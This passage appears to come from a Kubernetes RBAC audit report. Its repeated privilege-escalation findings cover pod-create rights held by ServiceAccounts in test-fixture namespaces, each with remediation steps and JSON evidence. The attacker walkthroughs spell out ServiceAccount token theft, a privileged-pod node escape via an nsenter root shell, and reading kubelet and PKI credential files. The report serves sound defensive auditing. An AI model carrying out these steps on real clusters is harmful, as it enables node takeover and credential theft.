  4. They exec into the pod (or have the container phone home), read the token, and replay it against the API server.
  5. Optionally, they instead create a pod with hostPID: true + privileged: true + hostPath of / and break out to the node.
Remediation
Remove direct pod-create rights from non-platform identities; have CI/CD or controllers create workload objects (Deployments) so the controller-manager creates the pod under its own ServiceAccount.
  1. Replace direct create on pods with create/update on deployments (or the appropriate workload controller).
  2. Enforce restricted Pod Security Standard via pod-security.kubernetes.io/enforce=restricted namespace label so privileged/hostPath pods are rejected at admission.
  3. Add a Kyverno/Gatekeeper policy that requires automountServiceAccountToken: false on user-created pods, or pins them to a non-privileged ServiceAccount.
  4. Verify with kubectl auth can-i create pods --as=sa-pod-create -A returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbscreate
create: Create new objects of this resource
Source rolecr-pod-create
Inspect: kubectl get clusterrole cr-pod-create -o yaml
Source bindingcrb-pod-create
Inspect: kubectl get clusterrolebinding crb-pod-create -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "pods"
  ],
  "scope": "cluster",
  "source_binding": "crb-pod-create",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-pod-create",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create"
  ]
}
HIGH ServiceAccount/vulnerable/privileged-reader Cluster 10.0
Cluster-wide pod creation enables token theft and node takeover (ServiceAccount/vulnerable/privileged-reader)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader Resource: RBACRule/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader can create pods via ClusterRoleBinding privileged-reader → ClusterRole privileged-reader. Cluster-wide: applies to every current and future namespace.

Under Kubernetes' RBAC model, pod creation is one of the most powerful permissions because the API server does not police the privileges of the pod being created, only the create verb itself. A pod is a request to run code as a ServiceAccount; by choosing spec.serviceAccountName the attacker borrows the identity (and RBAC permissions) of any ServiceAccount in the target namespace, with the token mounted automatically at /var/run/secrets/kubernetes.io/serviceaccount/token.

Beyond identity hopping, a created pod can request hostPath, hostNetwork, hostPID, privileged: true, or SYS_ADMIN. None of those are blocked by RBAC; only Pod Security Admission or a policy engine (Kyverno, Gatekeeper, ValidatingAdmissionPolicy) can stop them. A typical attack mounts / from the host and reads /etc/kubernetes/pki/admin.conf directly.

Impact Run arbitrary code as any ServiceAccount in Cluster-wide (including privileged ones); optionally request privileged/host-mount pods to escape to the underlying node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePod creation → ServiceAccount token theft

Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

This is the single most common privilege-escalation pattern in production Kubernetes.

  1. Attacker enumerates target namespaces with kubectl get sa -A to find privileged ServiceAccounts (e.g. kube-system/clusterrole-aggregation-controller).
  2. They craft a pod manifest with spec.serviceAccountName: <privileged-sa> and any container image they control.
  3. They kubectl apply -f the pod; the kubelet mounts the privileged ServiceAccount's JWT into the container at the well-known path.
  4. They exec into the pod (or have the container phone home), read the token, and replay it against the API server.
  5. Optionally, they instead create a pod with hostPID: true + privileged: true + hostPath of / and break out to the node.
Remediation
Remove direct pod-create rights from non-platform identities; have CI/CD or controllers create workload objects (Deployments) so the controller-manager creates the pod under its own ServiceAccount.
  1. Replace direct create on pods with create/update on deployments (or the appropriate workload controller).
  2. Enforce restricted Pod Security Standard via pod-security.kubernetes.io/enforce=restricted namespace label so privileged/hostPath pods are rejected at admission.
  3. Add a Kyverno/Gatekeeper policy that requires automountServiceAccountToken: false on user-created pods, or pins them to a non-privileged ServiceAccount.
  4. Verify with kubectl auth can-i create pods --as=privileged-reader -A returning no.
Evidence
ScopeCluster
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbscreate
create: Create new objects of this resource
Source roleprivileged-reader
Inspect: kubectl get clusterrole privileged-reader -o yaml
Source bindingprivileged-reader
Inspect: kubectl get clusterrolebinding privileged-reader -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "pods"
  ],
  "scope": "cluster",
  "source_binding": "privileged-reader",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "privileged-reader",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create"
  ]
}
HIGH ServiceAccount/local-path-storage/local-path-provisioner-service-account Namespace 10.0
Namespace local-path-storage only pod creation enables token theft and node takeover (ServiceAccount/local-path-storage/local-path-provisioner-service-account)
Scope · Namespace Namespace local-path-storage only
Category: Privilege Escalation Subject: ServiceAccount/local-path-storage/local-path-provisioner-service-account Resource: RBACRule/local-path-storage/local-path-provisioner-role

Subject ServiceAccount/local-path-storage/local-path-provisioner-service-account can create pods via RoleBinding local-path-storage/local-path-provisioner-bind → Role local-path-storage/local-path-provisioner-role. Namespace local-path-storage only.

Under Kubernetes' RBAC model, pod creation is one of the most powerful permissions because the API server does not police the privileges of the pod being created, only the create verb itself. A pod is a request to run code as a ServiceAccount; by choosing spec.serviceAccountName the attacker borrows the identity (and RBAC permissions) of any ServiceAccount in the target namespace, with the token mounted automatically at /var/run/secrets/kubernetes.io/serviceaccount/token.

Beyond identity hopping, a created pod can request hostPath, hostNetwork, hostPID, privileged: true, or SYS_ADMIN. None of those are blocked by RBAC; only Pod Security Admission or a policy engine (Kyverno, Gatekeeper, ValidatingAdmissionPolicy) can stop them. A typical attack mounts / from the host and reads /etc/kubernetes/pki/admin.conf directly.

Impact Run arbitrary code as any ServiceAccount in Namespace local-path-storage only (including privileged ones); optionally request privileged/host-mount pods to escape to the underlying node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePod creation → ServiceAccount token theft

Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

This is the single most common privilege-escalation pattern in production Kubernetes.

  1. Attacker enumerates target namespaces with kubectl get sa -A to find privileged ServiceAccounts (e.g. kube-system/clusterrole-aggregation-controller).
  2. They craft a pod manifest with spec.serviceAccountName: <privileged-sa> and any container image they control.
  3. They kubectl apply -f the pod; the kubelet mounts the privileged ServiceAccount's JWT into the container at the well-known path.
  4. They exec into the pod (or have the container phone home), read the token, and replay it against the API server.
  5. Optionally, they instead create a pod with hostPID: true + privileged: true + hostPath of / and break out to the node.
Remediation
Remove direct pod-create rights from non-platform identities; have CI/CD or controllers create workload objects (Deployments) so the controller-manager creates the pod under its own ServiceAccount.
  1. Replace direct create on pods with create/update on deployments (or the appropriate workload controller).
  2. Enforce restricted Pod Security Standard via pod-security.kubernetes.io/enforce=restricted namespace label so privileged/hostPath pods are rejected at admission.
  3. Add a Kyverno/Gatekeeper policy that requires automountServiceAccountToken: false on user-created pods, or pins them to a non-privileged ServiceAccount.
  4. Verify with kubectl auth can-i create pods --as=local-path-provisioner-service-account -n local-path-storage returning no.
Evidence
ScopeNamespace
Namespacelocal-path-storage
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbsgetlistwatchcreatepatchupdatedelete
create: Create new objects of this resource
patch: Mutate existing objects in place
update: Replace existing objects
delete: Permanently remove objects
Source rolelocal-path-provisioner-role
Inspect: kubectl get role local-path-provisioner-role -n local-path-storage -o yaml
Source bindinglocal-path-provisioner-bind
Inspect: kubectl get rolebinding local-path-provisioner-bind -n local-path-storage -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "local-path-storage",
  "resource_names": null,
  "resources": [
    "pods"
  ],
  "scope": "namespace",
  "source_binding": "local-path-provisioner-bind",
  "source_binding_kind": "RoleBinding",
  "source_role": "local-path-provisioner-role",
  "source_role_kind": "Role",
  "verbs": [
    "get",
    "list",
    "watch",
    "create",
    "patch",
    "update",
    "delete"
  ]
}
HIGH ServiceAccount/privesc-fixtures/sa-pod-create-escape Namespace 10.0
Namespace privesc-fixtures only pod creation enables token theft and node takeover (ServiceAccount/privesc-fixtures/sa-pod-create-escape)
Scope · Namespace Namespace privesc-fixtures only
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-create-escape Resource: RBACRule/privesc-fixtures/r-pod-create-escape

Subject ServiceAccount/privesc-fixtures/sa-pod-create-escape can create pods via RoleBinding privesc-fixtures/rb-pod-create-escape → Role privesc-fixtures/r-pod-create-escape. Namespace privesc-fixtures only.

Under Kubernetes' RBAC model, pod creation is one of the most powerful permissions because the API server does not police the privileges of the pod being created, only the create verb itself. A pod is a request to run code as a ServiceAccount; by choosing spec.serviceAccountName the attacker borrows the identity (and RBAC permissions) of any ServiceAccount in the target namespace, with the token mounted automatically at /var/run/secrets/kubernetes.io/serviceaccount/token.

Beyond identity hopping, a created pod can request hostPath, hostNetwork, hostPID, privileged: true, or SYS_ADMIN. None of those are blocked by RBAC; only Pod Security Admission or a policy engine (Kyverno, Gatekeeper, ValidatingAdmissionPolicy) can stop them. A typical attack mounts / from the host and reads /etc/kubernetes/pki/admin.conf directly.

Impact Run arbitrary code as any ServiceAccount in Namespace privesc-fixtures only (including privileged ones); optionally request privileged/host-mount pods to escape to the underlying node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePod creation → ServiceAccount token theft

Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

This is the single most common privilege-escalation pattern in production Kubernetes.

  1. Attacker enumerates target namespaces with kubectl get sa -A to find privileged ServiceAccounts (e.g. kube-system/clusterrole-aggregation-controller).
  2. They craft a pod manifest with spec.serviceAccountName: <privileged-sa> and any container image they control.
  3. They kubectl apply -f the pod; the kubelet mounts the privileged ServiceAccount's JWT into the container at the well-known path.
  4. They exec into the pod (or have the container phone home), read the token, and replay it against the API server.
  5. Optionally, they instead create a pod with hostPID: true + privileged: true + hostPath of / and break out to the node.
Remediation
Remove direct pod-create rights from non-platform identities; have CI/CD or controllers create workload objects (Deployments) so the controller-manager creates the pod under its own ServiceAccount.
  1. Replace direct create on pods with create/update on deployments (or the appropriate workload controller).
  2. Enforce restricted Pod Security Standard via pod-security.kubernetes.io/enforce=restricted namespace label so privileged/hostPath pods are rejected at admission.
  3. Add a Kyverno/Gatekeeper policy that requires automountServiceAccountToken: false on user-created pods, or pins them to a non-privileged ServiceAccount.
  4. Verify with kubectl auth can-i create pods --as=sa-pod-create-escape -n privesc-fixtures returning no.
Evidence
ScopeNamespace
Namespaceprivesc-fixtures
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbscreate
create: Create new objects of this resource
Source roler-pod-create-escape
Inspect: kubectl get role r-pod-create-escape -n privesc-fixtures -o yaml
Source bindingrb-pod-create-escape
Inspect: kubectl get rolebinding rb-pod-create-escape -n privesc-fixtures -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "privesc-fixtures",
  "resource_names": null,
  "resources": [
    "pods"
  ],
  "scope": "namespace",
  "source_binding": "rb-pod-create-escape",
  "source_binding_kind": "RoleBinding",
  "source_role": "r-pod-create-escape",
  "source_role_kind": "Role",
  "verbs": [
    "create"
  ]
}
HIGH ServiceAccount/cutres/cutres-doublebind Namespace 8.4
Namespace cutres-pods-a only pod creation enables token theft and node takeover (ServiceAccount/cutres/cutres-doublebind)
Scope · Namespace Namespace cutres-pods-a only
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-doublebind Resource: RBACRule/cutres-pods-a/cutres-pod-creator

Subject ServiceAccount/cutres/cutres-doublebind can create pods via RoleBinding cutres-pods-a/cutres-pod-creator-a → Role cutres-pods-a/cutres-pod-creator. Namespace cutres-pods-a only.

Under Kubernetes' RBAC model, pod creation is one of the most powerful permissions because the API server does not police the privileges of the pod being created, only the create verb itself. A pod is a request to run code as a ServiceAccount; by choosing spec.serviceAccountName the attacker borrows the identity (and RBAC permissions) of any ServiceAccount in the target namespace, with the token mounted automatically at /var/run/secrets/kubernetes.io/serviceaccount/token.

Beyond identity hopping, a created pod can request hostPath, hostNetwork, hostPID, privileged: true, or SYS_ADMIN. None of those are blocked by RBAC; only Pod Security Admission or a policy engine (Kyverno, Gatekeeper, ValidatingAdmissionPolicy) can stop them. A typical attack mounts / from the host and reads /etc/kubernetes/pki/admin.conf directly.

Impact Run arbitrary code as any ServiceAccount in Namespace cutres-pods-a only (including privileged ones); optionally request privileged/host-mount pods to escape to the underlying node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePod creation → ServiceAccount token theft

Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

This is the single most common privilege-escalation pattern in production Kubernetes.

  1. Attacker enumerates target namespaces with kubectl get sa -A to find privileged ServiceAccounts (e.g. kube-system/clusterrole-aggregation-controller).
  2. They craft a pod manifest with spec.serviceAccountName: <privileged-sa> and any container image they control.
  3. They kubectl apply -f the pod; the kubelet mounts the privileged ServiceAccount's JWT into the container at the well-known path.
  4. They exec into the pod (or have the container phone home), read the token, and replay it against the API server.
  5. Optionally, they instead create a pod with hostPID: true + privileged: true + hostPath of / and break out to the node.
Remediation
Remove direct pod-create rights from non-platform identities; have CI/CD or controllers create workload objects (Deployments) so the controller-manager creates the pod under its own ServiceAccount.
  1. Replace direct create on pods with create/update on deployments (or the appropriate workload controller).
  2. Enforce restricted Pod Security Standard via pod-security.kubernetes.io/enforce=restricted namespace label so privileged/hostPath pods are rejected at admission.
  3. Add a Kyverno/Gatekeeper policy that requires automountServiceAccountToken: false on user-created pods, or pins them to a non-privileged ServiceAccount.
  4. Verify with kubectl auth can-i create pods --as=cutres-doublebind -n cutres-pods-a returning no.
Evidence
ScopeNamespace
Namespacecutres-pods-a
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbscreate
create: Create new objects of this resource
Source rolecutres-pod-creator
Inspect: kubectl get role cutres-pod-creator -n cutres-pods-a -o yaml
Source bindingcutres-pod-creator-a
Inspect: kubectl get rolebinding cutres-pod-creator-a -n cutres-pods-a -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "cutres-pods-a",
  "resource_names": null,
  "resources": [
    "pods"
  ],
  "scope": "namespace",
  "source_binding": "cutres-pod-creator-a",
  "source_binding_kind": "RoleBinding",
  "source_role": "cutres-pod-creator",
  "source_role_kind": "Role",
  "verbs": [
    "create"
  ]
}
HIGH ServiceAccount/cutres/cutres-doublebind Namespace 8.4
Namespace cutres-pods-b only pod creation enables token theft and node takeover (ServiceAccount/cutres/cutres-doublebind)
Scope · Namespace Namespace cutres-pods-b only
Category: Privilege Escalation Subject: ServiceAccount/cutres/cutres-doublebind Resource: RBACRule/cutres-pods-b/cutres-pod-creator

Subject ServiceAccount/cutres/cutres-doublebind can create pods via RoleBinding cutres-pods-b/cutres-pod-creator-b → Role cutres-pods-b/cutres-pod-creator. Namespace cutres-pods-b only.

Under Kubernetes' RBAC model, pod creation is one of the most powerful permissions because the API server does not police the privileges of the pod being created, only the create verb itself. A pod is a request to run code as a ServiceAccount; by choosing spec.serviceAccountName the attacker borrows the identity (and RBAC permissions) of any ServiceAccount in the target namespace, with the token mounted automatically at /var/run/secrets/kubernetes.io/serviceaccount/token.

Beyond identity hopping, a created pod can request hostPath, hostNetwork, hostPID, privileged: true, or SYS_ADMIN. None of those are blocked by RBAC; only Pod Security Admission or a policy engine (Kyverno, Gatekeeper, ValidatingAdmissionPolicy) can stop them. A typical attack mounts / from the host and reads /etc/kubernetes/pki/admin.conf directly.

Impact Run arbitrary code as any ServiceAccount in Namespace cutres-pods-b only (including privileged ones); optionally request privileged/host-mount pods to escape to the underlying node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePod creation → ServiceAccount token theft

Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

This is the single most common privilege-escalation pattern in production Kubernetes.

  1. Attacker enumerates target namespaces with kubectl get sa -A to find privileged ServiceAccounts (e.g. kube-system/clusterrole-aggregation-controller).
  2. They craft a pod manifest with spec.serviceAccountName: <privileged-sa> and any container image they control.
  3. They kubectl apply -f the pod; the kubelet mounts the privileged ServiceAccount's JWT into the container at the well-known path.
  4. They exec into the pod (or have the container phone home), read the token, and replay it against the API server.
  5. Optionally, they instead create a pod with hostPID: true + privileged: true + hostPath of / and break out to the node.
Remediation
Remove direct pod-create rights from non-platform identities; have CI/CD or controllers create workload objects (Deployments) so the controller-manager creates the pod under its own ServiceAccount.
  1. Replace direct create on pods with create/update on deployments (or the appropriate workload controller).
  2. Enforce restricted Pod Security Standard via pod-security.kubernetes.io/enforce=restricted namespace label so privileged/hostPath pods are rejected at admission.
  3. Add a Kyverno/Gatekeeper policy that requires automountServiceAccountToken: false on user-created pods, or pins them to a non-privileged ServiceAccount.
  4. Verify with kubectl auth can-i create pods --as=cutres-doublebind -n cutres-pods-b returning no.
Evidence
ScopeNamespace
Namespacecutres-pods-b
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbscreate
create: Create new objects of this resource
Source rolecutres-pod-creator
Inspect: kubectl get role cutres-pod-creator -n cutres-pods-b -o yaml
Source bindingcutres-pod-creator-b
Inspect: kubectl get rolebinding cutres-pod-creator-b -n cutres-pods-b -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "cutres-pods-b",
  "resource_names": null,
  "resources": [
    "pods"
  ],
  "scope": "namespace",
  "source_binding": "cutres-pod-creator-b",
  "source_binding_kind": "RoleBinding",
  "source_role": "cutres-pod-creator",
  "source_role_kind": "Role",
  "verbs": [
    "create"
  ]
}
HIGH ServiceAccount/psaflip-fixtures/psaflip-flipper Namespace 8.4
Namespace psaflip-fixtures only pod creation enables token theft and node takeover (ServiceAccount/psaflip-fixtures/psaflip-flipper)
Scope · Namespace Namespace psaflip-fixtures only
Category: Privilege Escalation Subject: ServiceAccount/psaflip-fixtures/psaflip-flipper Resource: RBACRule/psaflip-fixtures/psaflip-namespace-and-pods

Subject ServiceAccount/psaflip-fixtures/psaflip-flipper can create pods via RoleBinding psaflip-fixtures/psaflip-namespace-and-pods → Role psaflip-fixtures/psaflip-namespace-and-pods. Namespace psaflip-fixtures only.

Under Kubernetes' RBAC model, pod creation is one of the most powerful permissions because the API server does not police the privileges of the pod being created, only the create verb itself. A pod is a request to run code as a ServiceAccount; by choosing spec.serviceAccountName the attacker borrows the identity (and RBAC permissions) of any ServiceAccount in the target namespace, with the token mounted automatically at /var/run/secrets/kubernetes.io/serviceaccount/token.

Beyond identity hopping, a created pod can request hostPath, hostNetwork, hostPID, privileged: true, or SYS_ADMIN. None of those are blocked by RBAC; only Pod Security Admission or a policy engine (Kyverno, Gatekeeper, ValidatingAdmissionPolicy) can stop them. A typical attack mounts / from the host and reads /etc/kubernetes/pki/admin.conf directly.

Impact Run arbitrary code as any ServiceAccount in Namespace psaflip-fixtures only (including privileged ones); optionally request privileged/host-mount pods to escape to the underlying node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniquePod creation → ServiceAccount token theft

Anyone who can create pods in a namespace can mount any ServiceAccount in that namespace into the pod. Cluster-scoped pod-create lets you mount any ServiceAccount in any namespace. Once the pod is running, the attacker reads /var/run/secrets/kubernetes.io/serviceaccount/token from inside it, and now holds a token for that SA.

This is the single most common privilege-escalation pattern in production Kubernetes.

  1. Attacker enumerates target namespaces with kubectl get sa -A to find privileged ServiceAccounts (e.g. kube-system/clusterrole-aggregation-controller).
  2. They craft a pod manifest with spec.serviceAccountName: <privileged-sa> and any container image they control.
  3. They kubectl apply -f the pod; the kubelet mounts the privileged ServiceAccount's JWT into the container at the well-known path.
  4. They exec into the pod (or have the container phone home), read the token, and replay it against the API server.
  5. Optionally, they instead create a pod with hostPID: true + privileged: true + hostPath of / and break out to the node.
Remediation
Remove direct pod-create rights from non-platform identities; have CI/CD or controllers create workload objects (Deployments) so the controller-manager creates the pod under its own ServiceAccount.
  1. Replace direct create on pods with create/update on deployments (or the appropriate workload controller).
  2. Enforce restricted Pod Security Standard via pod-security.kubernetes.io/enforce=restricted namespace label so privileged/hostPath pods are rejected at admission.
  3. Add a Kyverno/Gatekeeper policy that requires automountServiceAccountToken: false on user-created pods, or pins them to a non-privileged ServiceAccount.
  4. Verify with kubectl auth can-i create pods --as=psaflip-flipper -n psaflip-fixtures returning no.
Evidence
ScopeNamespace
Namespacepsaflip-fixtures
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbscreategetlist
create: Create new objects of this resource
Source rolepsaflip-namespace-and-pods
Inspect: kubectl get role psaflip-namespace-and-pods -n psaflip-fixtures -o yaml
Source bindingpsaflip-namespace-and-pods
Inspect: kubectl get rolebinding psaflip-namespace-and-pods -n psaflip-fixtures -o yaml
source_binding_kind
"RoleBinding"
source_role_kind
"Role"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "psaflip-fixtures",
  "resource_names": null,
  "resources": [
    "pods"
  ],
  "scope": "namespace",
  "source_binding": "psaflip-namespace-and-pods",
  "source_binding_kind": "RoleBinding",
  "source_role": "psaflip-namespace-and-pods",
  "source_role_kind": "Role",
  "verbs": [
    "create",
    "get",
    "list"
  ]
}
HIGH

Cluster-wide pod creation can launch a privileged pod and escape to the node

KUBE-PRIVESC-002 6 subjects Score 10.0
MITRE ATT&CK: T1610T1611T1078.004

Affected subjects (6)

HIGH ServiceAccount/rbac-fixtures/sa-pod-create Cluster 10.0
Cluster-wide pod creation can launch a privileged pod and escape to the node (ServiceAccount/rbac-fixtures/sa-pod-create)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-pod-create Resource: RBACRule/cr-pod-create

Subject ServiceAccount/rbac-fixtures/sa-pod-create can create pods via ClusterRoleBinding crb-pod-create → ClusterRole cr-pod-create, and any namespace without a restrictive Pod Security Admission enforce label does not enforce a Pod Security Admission level that blocks privileged pods. Cluster-wide: applies to every current and future namespace.

RBAC never inspects the contents of a pod, only the create verb. When the target namespace has no pod-security.kubernetes.io/enforce label (or it is set to privileged), nothing at admission stops the attacker from creating a pod with privileged: true, hostPID: true, hostNetwork: true, or a hostPath mount of /. From inside that pod, breaking out to the node is trivial (nsenter into PID 1, read /etc/kubernetes/pki, steal the kubelet client cert).

This is the difference between KUBE-PRIVESC-001 (pod create → steal another SA's token) and this finding: here the missing Pod Security backstop turns pod-create into full node compromise. Baseline or Restricted enforcement would block the privileged pod and downgrade the risk to token theft alone.

Impact Create a privileged / host-mounting pod and escape to the underlying node, then harvest every pod's token and the kubelet credentials on that node.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
TechniqueCreate a privileged pod and escape to the node

RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

  1. Attacker confirms pod-create with kubectl auth can-i create pods --as=sa-pod-create -A and notes the target namespace has no restrictive Pod Security enforce label.
  2. They craft a pod with securityContext.privileged: true, hostPID: true, and a hostPath volume mounting /.
  3. They kubectl apply the pod; Pod Security Admission does not reject it because the namespace is unlabelled or set to privileged.
  4. They exec in and nsenter -t 1 -m -u -i -n -p -- /bin/sh to land a root shell on the node.
  5. They read /var/lib/kubelet/pki/kubelet-client-current.pem and /etc/kubernetes/pki/*, then pivot to the control plane.
Remediation
Enforce the Restricted (or at least Baseline) Pod Security Standard on the namespace, and remove direct pod-create from non-platform identities.
  1. Label the namespace to enforce Pod Security: kubectl label ns <ns> pod-security.kubernetes.io/enforce=restricted. Baseline blocks privileged/hostPath/host namespaces; Restricted additionally requires non-root and seccomp.
  2. Replace direct create on pods with create/update on workload controllers routed through CI/CD, so a controller (not the attacker) creates the pod.
  3. Add a Kyverno/Gatekeeper/ValidatingAdmissionPolicy that rejects privileged, hostPID, hostNetwork, and sensitive hostPath mounts outside an explicit allowlist, as defence in depth behind PSA.
  4. Verify by attempting to create a privileged pod as the subject and confirming admission rejects it, and that kubectl auth can-i create pods --as=sa-pod-create -A returns no for application identities.
Evidence
ScopeCluster
API groupscore/v1
Resourcespods
pods: Workload primitive: create = run code on the cluster
Verbscreate
create: Create new objects of this resource
Source rolecr-pod-create
Inspect: kubectl get clusterrole cr-pod-create -o yaml
Source bindingcrb-pod-create
Inspect: kubectl get clusterrolebinding crb-pod-create -o yaml
source_binding_kind
"ClusterRoleBinding"
source_role_kind
"ClusterRole"
Show raw JSON
{
  "api_groups": [
    ""
  ],
  "namespace": "",
  "resource_names": null,
  "resources": [
    "pods"
  ],
  "scope": "cluster",
  "source_binding": "crb-pod-create",
  "source_binding_kind": "ClusterRoleBinding",
  "source_role": "cr-pod-create",
  "source_role_kind": "ClusterRole",
  "verbs": [
    "create"
  ]
}
HIGH ServiceAccount/vulnerable/privileged-reader Cluster 10.0
Cluster-wide pod creation can launch a privileged pod and escape to the node (ServiceAccount/vulnerable/privileged-reader)
Scope · Cluster Cluster-wide: applies to every current and future namespace
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader Resource: RBACRule/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader can create pods via ClusterRoleBinding privileged-reader → ClusterRole privileged-reader, and any namespace without a restrictive Pod Security Admission enforce label does not enforce a Pod Security Admission level that blocks privileged pods. Cluster-wide: applies to every current and future namespace.

RBAC never inspects the contents of a pod, only the create verb. When the target namespace has no pod-security.kubernetes.io/enforce label (or it is set to privileged), nothing at admission stops the attacker from creating a pod with privileged: true, hostPID: true, hostNetwork: true, or a hostPath mount of /. From inside that pod, breaking out to the node is trivial (nsenter into PID 1, read /etc/kubernetes/pki, steal the kubelet client cert).

This is the difference between KUBE-PRIVESC-001 (pod create → steal another SA's token) and this finding: here the missing Pod Security backstop turns pod-create into full node compromise. Baseline or Restricted enforcement would block the privileged pod and downgrade the risk to token theft alone.

Impact Create a privileged / host-mounting pod and escape to the underlying node, then harvest every pod's token and the kubelet credentials on that node.
